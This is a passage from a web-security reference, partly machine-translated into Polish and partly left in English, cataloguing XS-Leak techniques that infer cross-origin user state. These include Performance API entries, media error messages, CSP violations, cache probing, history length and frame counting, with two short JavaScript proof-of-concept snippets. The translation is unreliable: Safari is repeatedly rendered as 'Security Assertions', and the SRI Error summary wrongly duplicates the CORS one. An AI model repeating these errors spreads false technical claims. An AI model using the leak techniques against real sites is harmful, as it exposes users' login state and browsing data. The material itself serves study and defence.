* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Żądanie, które kończy się błędami, nie utworzy wpisu czasowego zasobów.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

Możliwe jest **rozróżnienie między kodami statusu odpowiedzi HTTP**, ponieważ żądania, które prowadzą do **błędu**, **nie tworzą wpisu wydajności**.

### Błąd przeładowania stylu

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Kod statusu
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Z powodu błędu przeglądarki, żądania, które kończą się błędami, są ładowane dwukrotnie.
* **Przykład kodu**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować**. To spowoduje wiele wpisów w API wydajności i może być zatem wykryte.

### Błąd łączenia żądań

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Kod statusu
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Żądania, które kończą się błędem, nie mogą być scalane.
* **Przykład kodu**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

Technika ta została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono opisu techniki. Możesz jednak znaleźć kod źródłowy sprawdzający to w [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

### Wyciek pustej strony

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Puste odpowiedzi nie tworzą wpisów czasowych zasobów.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ **puste strony nie tworzą wpisu wydajności w niektórych przeglądarkach**.

### **Wyciek XSS-Auditor**

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Używając XSS Audytora w Asercjach Bezpieczeństwa, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrowania audytora.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

W Asercjach Bezpieczeństwa (SA) XSS Auditor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tym tle badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcja znana jako XS-Leaks, pierwotnie zgłoszona przez Teradę i rozwinięta przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą być nadal wyciekane.

### Wyciek X-Frame

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Podsumowanie:** Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu czasowego zasobów.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

Jeśli strona **nie jest dozwolona** do **renderowania** w **iframe**, nie tworzy **wpisu wydajności**. W rezultacie atakujący może wykryć nagłówek odpowiedzi **`X-Frame-Options`**.\
To samo dotyczy użycia tagu **embed**.

### Wykrywanie pobierania

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Pobrania nie tworzą wpisów czasowych zasobów w API wydajności.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

Podobnie jak w opisanym XS-Leak, **zasób, który jest pobierany** z powodu nagłówka ContentDisposition, również **nie tworzy wpisu wydajności**. Ta technika działa we wszystkich głównych przeglądarkach.

### Wyciek czasu rozpoczęcia przekierowania

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Przekierowanie
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Wpis czasowy zasobów ujawnia czas rozpoczęcia przekierowania.
* **Przykład kodu**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań z innego źródła. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów z innego źródła. Jednak w **SA** możliwe jest wykrycie, czy użytkownik jest **przekierowywany** przez stronę docelową, zapytując API **Performance API** i sprawdzając dane czasowe **redirectStart**.

### Wyciek czasu trwania przekierowania

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Przekierowanie
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Czas trwania wpisów czasowych jest ujemny, gdy występuje przekierowanie.
* **Przykład kodu**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

W GC **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go zatem **rozróżnić** od żądań, które nie kończą się przekierowaniem.

### Wyciek CORP

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Nagłówek
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Podsumowanie:** Zasób chroniony przez CORP nie tworzy wpisów czasowych zasobów.
* **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

W niektórych przypadkach **wpis nextHopProtocol** może być używany jako technika wycieku. W GC, gdy nagłówek **CORP** jest ustawiony, nextHopProtocol będzie **pusty**. Należy zauważyć, że SA w ogóle nie utworzy wpisu wydajności dla zasobów z włączonym CORP.

### Serwis Worker

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Użycie API
* **Więcej informacji**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Podsumowanie:** Wykrywanie, czy serwis worker jest zarejestrowany dla konkretnego źródła.
* **Przykład kodu**:

Serwis worker to kontekst skryptu wywoływanego przez zdarzenia, który działa w danym źródle. Działa w tle strony internetowej i może przechwytywać, modyfikować i **buforować zasoby**, aby stworzyć offline'ową aplikację internetową.\
Jeśli **zasób buforowany** przez **serwis worker** jest dostępny przez **iframe**, zasób zostanie **załadowany z pamięci podręcznej serwis worker**.\
Aby wykryć, czy zasób został **załadowany z pamięci podręcznej serwis worker**, można użyć **API wydajności**.\
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).

### Pamięć podręczna

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Czas
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Podsumowanie:** Możliwe jest sprawdzenie, czy zasób został zapisany w pamięci podręcznej.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

Korzystając z [API wydajności](xs-search.md#performance-api), możliwe jest sprawdzenie, czy zasób jest buforowany.

### Czas trwania sieci

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Podsumowanie:** Możliwe jest uzyskanie czasu trwania sieci żądania z API `performance`.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## Technika komunikatów o błędach

### Błąd multimediów

* **Metody włączenia**: Elementy HTML (Wideo, Audio)
* **Wykrywalna różnica**: Kod statusu
* **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Podsumowanie:** W Firefoxie możliwe jest dokładne wyciekanie kodu statusu żądania z innego źródła.
* **Przykład kodu**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
The `MediaError` interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.

### CORS Error

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Summary:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny URL przekierowanych żądań.
* **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

This technique enables an attacker to **extract the destination of a cross-origin site's redirect** by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a **CORS-enabled request** is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the **full URL of the redirect's target** is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any **sensitive query parameters** it may contain.

### SRI Error

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Summary:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny URL przekierowanych żądań.
* **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

An attacker can exploit **verbose error messages** to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be **CORS-enabled**; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately **trigger this error** by assigning a **bogus hash value** to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks.

### CSP Violation/Detection

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Status Code
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Summary:** Zezwalając tylko na stronę ofiary w CSP, jeśli próbuje przekierować na inna domenę, CSP wywoła wykrywalny błąd.
* **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to **allow the target domain on the attacker site**. Once a request is issued to the target domain, it **redirects** to a cross-origin domain. **CSP blocks** the access to it and creates a **violation report used as a leak technique**. Depending on the browser, **this report may leak the target location of the redirect**.\
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.

### Cache

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Summary:** Wyczyść plik z pamięci podręcznej. Otwiera stronę docelową, sprawdza, czy plik jest obecny w pamięci podręcznej.
* **Code Example:**

Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has **requested a specific file**.

If a page loads an image only if the user is logged in, you can **invalidate** the **resource** (so it's no longer cached if it was, see more info links), **perform a request** that could load that resource and try to load the resource **with a bad request** (e.g. using an overlong referer header). If the resource load **didn't trigger any error**, it's because it was **cached**.

### CSP Directive

* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Summary:** Dyrektywy nagłówka CSP mogą być badane za pomocą atrybutu iframe CSP, ujawniając szczegóły polityki.
* **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

A novel feature in Google Chrome (GC) allows web pages to **propose a Content Security Policy (CSP)** by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must **authorize this via an HTTP header**, or an **error page is displayed**. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to **detect specific CSP directives** of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a **new leak technique** capable of detecting the error page, suggesting that the underlying problem was never fully addressed.

### **CORP**

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Summary:** Zasoby zabezpieczone polityką Cross-Origin Resource Policy (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego pochodzenia.
* **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

The CORP header is a relatively new web platform security feature that when set b**locks no-cors cross-origin requests to the given resource**. The presence of the header can be detected, because a resource protected with CORP will **throw an error when fetched**.

### CORB

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Summary**: CORB can allow attackers to detect when the **`nosniff` header is present** in the request.
* **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Check the link for more information about the attack.

### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Summary**: Jeśli nagłówek Origin jest odzwierciedlany w nagłówku `Access-Control-Allow-Origin`, możliwe jest sprawdzenie, czy zasób jest już w pamięci podręcznej.
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

In case the **Origin header** is being **reflected** in the header `Access-Control-Allow-Origin` an attacker can abuse this behaviour to try to **fetch** the **resource** in **CORS** mode. If an **error** **isn't** triggered, it means that it was **correctly retrieved form the web**, if an error is **triggered**, it's because it was **accessed from the cache** (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain)**.**\
Note that if the origin isn't reflected but a wildcard is used (`Access-Control-Allow-Origin: *`) this won't work.

## Readable Attributes Technique

### Fetch Redirect

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Status Code
* **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Summary:** GC i SA pozwalają sprawdzić typ odpowiedzi (opaque-redirect) po zakończeniu przekierowania.
* **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Submitting a request using the Fetch API with `redirect: "manual"` and other params, it's possible to read the `response.type` attribute and if it's equals to `opaqueredirect` then the response was a redirect.

### COOP

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Summary:** Strony zabezpieczone polityką Cross-Origin Opener Policy (COOP) zapobiegają dostępowi z interakcji między różnymi pochodzeniami.
* **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the **`contentWindow` reference**. In scenarios where COOP is applied conditionally, the **`opener` property** becomes a telltale indicator: it's **undefined** when COOP is active, and **defined** in its absence.

### URL Max Length - Server Side

* **Inclusion Methods**: Fetch API, HTML Elements
* **Detectable Difference**: Status Code / Content
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Summary:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, co powoduje, że serwer odpowiada błędem i generowany jest alert.
* **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

If a server-side redirect uses **user input inside the redirection** and **extra data**. It's possible to detect this behaviour because usually **servers** has a **limit request length**. If the **user data** is that **length - 1**, because the **redirect** is using **that data** and **adding** something **extra**, it will trigger an **error detectable via Error Events**.

If you can somehow set cookies to a user, you can also perform this attack by **setting enough cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) so with the **response increased size** of the **correct response** an **error** is triggered. In this case, remember that is you trigger this request from a same site, `<script>` will automatically send the cookies (so you can check for errors).\
An example of the **cookie bomb + XS-Search** can be found in the Intended solution of this writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` or to be in the same context is usually needed for this type of attack.

### URL Max Length - Client Side

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Status Code / Content
* **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Summary:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, aby można było zauważyć różnicę.
* **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB.

> In general, the _web platform_ does not have limits on the length of URLs (although 2^31 is a common limit). _Chrome_ limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

Therefore if the **redirect URL responded is larger in one of the cases**, it's possible to make it redirect with a **URL larger than 2MB** to hit the **length limit**. When this happens, Chrome shows an **`about:blank#blocked`** page.

The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was \*\*\*\* hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.**

All the extra info needed to reach the **2MB** can be added via a **hash** in the initial URL so it will be **used in the redirect**.

{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}

### Max Redirects

* **Inclusion Methods**: Fetch API, Frames
* **Detectable Difference**: Status Code
* **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Summary:** Użyj limitu przekierowań przeglądarki, aby ustalić wystąpienie przekierowań URL.
* **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

If the **max** number of **redirects** to follow of a browser is **20**, an attacker could try to load his page with **19 redirects** and finally **send the victim** to the tested page. If an **error** is triggered, then the page was trying to **redirect the victim**.

### History Length

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Redirects
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Summary:** Kod JavaScript manipuluje historią przeglądarki i może być dostępny za pomocą właściwości length.
* **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

The **History API** allows JavaScript code to manipulate the browser history, which **saves the pages visited by a user**. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.\
**Checking `history.length`**, making a user **navigate** to a page, **change** it **back** to the same-origin and **checking** the new value of **`history.length`**.

### History Length with same URL

* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: If URL is the same as the guessed one
* **Summary:** Możliwe jest zgadywanie, czy lokalizacja ramki/popupu znajduje się w określonym URL, nadużywając długości historii.
* **Code Example**: Below

An attacker could use JavaScript code to **manipulate the frame/pop-up location to a guessed one** and **immediately** **change it to `about:blank`**. If the history length increased it means the URL was correct and it had time to **increase because the URL isn't reloaded if it's the same**. If it didn't increased it means it **tried to load the guessed URL** but because we **immediately after** loaded **`about:blank`**, the **history length did never increase** when loading the guessed url.
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Liczenie ramek

* **Metody włączenia**: Ramki, Pop-upy
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Podsumowanie:** Oceń ilość elementów iframe, sprawdzając właściwość `window.length`.
* **Przykład kodu**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

Liczenie **liczby ramek w sieci** otwartych za pomocą `iframe` lub `window.open` może pomóc w identyfikacji **statusu użytkownika na tej stronie**.\
Ponadto, jeśli strona ma zawsze tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc w identyfikacji **wzoru**, który może ujawniać informacje.

Przykładem tej techniki jest to, że w Chrome **PDF** może być **wykrywany** za pomocą **liczenia ramek**, ponieważ wewnętrznie używany jest `embed`. Istnieją [Parametry URL](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę nad zawartością, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.

### Elementy HTML

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Podsumowanie:** Odczytaj ujawnioną wartość, aby rozróżnić między 2 możliwymi stanami
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar multimediów. Może to być wykorzystywane przez atakujących do rozróżnienia między możliwymi stanami, analizując informacje ujawnione przez niektóre elementy HTML.

### Informacje ujawnione przez elementy HTML

* **HTMLMediaElement**: Ten element ujawnia `duration` i `buffered` czasy multimediów, które można uzyskać za pomocą jego API. [Przeczytaj więcej o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: Ujawnia `videoHeight` i `videoWidth`. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` i `webkitDecodedFrameCount`, oferujące bardziej szczegółowe informacje o zawartości multimedialnej. [Przeczytaj więcej o HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: Ta funkcja dostarcza szczegóły dotyczące jakości odtwarzania wideo, w tym `totalVideoFrames`, co może wskazywać na ilość przetworzonych danych wideo. [Przeczytaj więcej o getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: Ten element ujawnia `height` i `width` obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja `image.decode()` zostanie odrzucona, co wskazuje na niepowodzenie w poprawnym załadowaniu obrazu. [Przeczytaj więcej o HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### Właściwość CSS

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Podsumowanie:** Zidentyfikuj różnice w stylizacji strony internetowej, które korelują ze stanem lub statusem użytkownika.
